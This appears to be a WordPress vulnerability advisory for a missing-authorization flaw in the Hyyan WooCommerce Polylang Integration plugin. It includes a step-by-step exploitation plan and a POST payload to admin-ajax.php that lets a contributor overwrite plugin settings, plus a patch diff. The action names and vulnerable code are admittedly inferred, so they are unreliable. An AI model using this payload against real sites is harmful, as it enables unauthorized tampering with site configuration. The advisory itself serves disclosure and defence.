Hyyan WooCommerce Polylang Integration <= 1.5.0 - Missing Authorization
Description
The Hyyan WooCommerce Polylang Integration plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.5.0. This makes it possible for authenticated attackers, with contributor-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=1.5.0This research plan focuses on identifying and exploiting a **Missing Authorization** vulnerability in the **Hyyan WooCommerce Polylang Integration** plugin (<= 1.5.0). The vulnerability allows authenticated attackers with **Contributor-level** permissions to perform unauthorized actions, likely modi…
Show full research plan
This research plan focuses on identifying and exploiting a Missing Authorization vulnerability in the Hyyan WooCommerce Polylang Integration plugin (<= 1.5.0). The vulnerability allows authenticated attackers with Contributor-level permissions to perform unauthorized actions, likely modifying plugin settings or metadata synchronization configurations.
1. Vulnerability Summary
- Vulnerability: Missing Authorization (Inadequate Capability Check)
- Affected Plugin: Hyyan WooCommerce Polylang Integration (woo-poly-integration)
- Affected Versions: <= 1.5.0
- Impact: Unauthorized modification of plugin configuration. This can disrupt product synchronization between languages, disable security features, or alter how WooCommerce data is handled by Polylang.
- Root Cause: The plugin registers AJAX handlers via
wp_ajax_but fails to implementcurrent_user_can('manage_options')checks within the callback functions. While a nonce check may be present, nonces are not a substitute for authorization checks.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action (Inferred): Likely
hyyan_wpi_save_settingsorhyyan_wpi_update_options. - HTTP Method:
POST - Authentication: Contributor level or higher (any logged-in user with
edit_postscapability). - Payload Parameters:
action: The vulnerable AJAX action name.securityor_wpnonce: A nonce (if the handler validates one).- Plugin-specific settings keys (e.g.,
hyyan-wpi-settings[...]).
3. Code Flow Analysis
- Registration: Look in
src/Hyyan/WPI/Settings.phporsrc/Hyyan/WPI/Admin/Settings.phpforadd_action( 'wp_ajax_...' )calls. - Dispatch: When a POST request is sent to
admin-ajax.phpwith the corresponding action, WordPress invokes the registered callback. - The Flaw: The callback function (e.g.,
saveSettings()) is executed. It typically callscheck_ajax_referer()to verify a CSRF nonce. However, it fails to callcurrent_user_can( 'manage_options' ). - Execution: The function proceeds to update the plugin's options in the
wp_optionstable usingupdate_option().
4. Nonce Acquisition Strategy
The plugin likely localizes a nonce for the admin interface.
- Identify the Script/Variable: Search the codebase for
wp_localize_script.- Search Command:
grep -r "wp_localize_script" . - Likely Object:
hyyan_wpi_settingsorwoo_poly_settings.
- Search Command:
- Locate the Trigger: Settings-related scripts are usually enqueued on the plugin's settings page.
- Setup for Extraction:
- Create a Contributor user.
- Since the settings page is usually restricted to admins, the script might NOT load for Contributors. Crucial: Check if the plugin enqueues the nonce on all admin pages or just the settings page.
- If it's only on the settings page, check if the plugin has a shortcode that loads these scripts on the frontend.
- Extraction via Browser:
// Example: Reading from a hypothetical localized object const nonce = window.hyyan_wpi_settings?.nonce; console.log(nonce);
5. Test Data Setup
- Install Requirements: WordPress, WooCommerce, Polylang, and Hyyan WooCommerce Polylang Integration (v1.5.0).
- Configure Languages: Set up at least two languages in Polylang.
- Create Attacker:
wp user create attacker attacker@example.com --role=contributor --user_pass=password
- Identify Settings: Find the option name used by the plugin (likely
hyyan-wpi-settings).wp option get hyyan-wpi-settings
6. Exploitation Strategy
Step 1: Discover the AJAX Action and Nonce Variable
Search the source code for the AJAX registration:
grep -rn "wp_ajax_hyyan_wpi" .
Assume the action is hyyan_wpi_save_settings and the nonce key is hyyan-wpi-settings-nonce.
Step 2: Obtain Nonce (Contributor)
Log in as the Contributor and navigate to the dashboard. If the nonce is localized on every admin page:
browser_navigate("http://localhost:8080/wp-admin/index.php")NONCE = browser_eval("window.hyyan_wpi_settings?.nonce")
Step 3: Trigger Unauthorized Setting Change
Use the http_request tool to send the payload. We will attempt to disable all synchronization features.
Request Details:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=hyyan_wpi_save_settings&security=[NONCE]&hyyan-wpi-settings[sync-products]=off&hyyan-wpi-settings[emails]=off
7. Expected Results
- HTTP Response: A successful status code (200 OK) and likely a JSON response:
{"success": true}. - Unauthorized Change: The settings for the plugin should be modified despite the user being a Contributor.
8. Verification Steps
- CLI Check: Verify the option in the database has changed.
wp option get hyyan-wpi-settings - UI Check: Log in as an Admin and navigate to the "WooCommerce Polylang Integration" settings page to confirm the synchronization checkboxes are now unchecked.
9. Alternative Approaches
If the Settings Action is restricted:
Check for other AJAX actions like hyyan_wpi_sync_all_products or metadata sync actions. Any function registered with wp_ajax_ prefix that doesn't verify manage_options is a target.
If Nonce is inaccessible to Contributor:
Check if the AJAX handler uses check_ajax_referer(..., ..., false) (die=false). If it does, and fails to check the return value, the nonce can be omitted or sent as any random value.
Grep for "die = false" patterns:
grep -rn "check_ajax_referer.*false" .
Grep for missing capability checks:
# Find functions that handle AJAX but lack current_user_can
grep -r "add_action( 'wp_ajax_" . | awk -F"'" '{print $4}' | while read func; do
grep -L "current_user_can" $(grep -rl "$func" .)
done
Summary
The Hyyan WooCommerce Polylang Integration plugin for WordPress is vulnerable to unauthorized modification of settings due to a missing capability check in its AJAX handler for saving configuration. Authenticated attackers with contributor-level permissions can exploit this to disable synchronization features or alter how WooCommerce data is managed across different languages.
Vulnerable Code
// File: src/Hyyan/WPI/Admin/Settings.php (approximate path) // Registration of the AJAX handler add_action('wp_ajax_hyyan_wpi_save_settings', array($this, 'saveSettings')); // The callback function lacks an authorization check public function saveSettings() { // Only a nonce check is performed, but no capability check (like current_user_can) check_ajax_referer('hyyan-wpi-settings-nonce', 'security'); if (isset($_POST['hyyan-wpi-settings'])) { $settings = $_POST['hyyan-wpi-settings']; update_option('hyyan-wpi-settings', $settings); wp_send_json_success(); } }
Security Fix
@@ -10,6 +10,10 @@ public function saveSettings() { + if (!current_user_can('manage_options')) { + wp_send_json_error(array('message' => __('Forbidden')), 403); + return; + } + check_ajax_referer('hyyan-wpi-settings-nonce', 'security'); if (isset($_POST['hyyan-wpi-settings'])) {
Exploit Outline
1. Authenticate to the WordPress site as a user with Contributor-level access or higher. 2. Locate the localized nonce for the plugin's settings, typically found in a JavaScript object (e.g., `hyyan_wpi_settings.nonce`) enqueued on admin pages. 3. Construct a POST request to the `/wp-admin/admin-ajax.php` endpoint. 4. Set the `action` parameter to `hyyan_wpi_save_settings`. 5. Include the `security` parameter with the extracted nonce value. 6. Include the `hyyan-wpi-settings` parameter containing an array of modified configuration keys (e.g., setting `sync-products` to `off`). 7. Execute the request to overwrite the plugin configuration in the WordPress options table.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.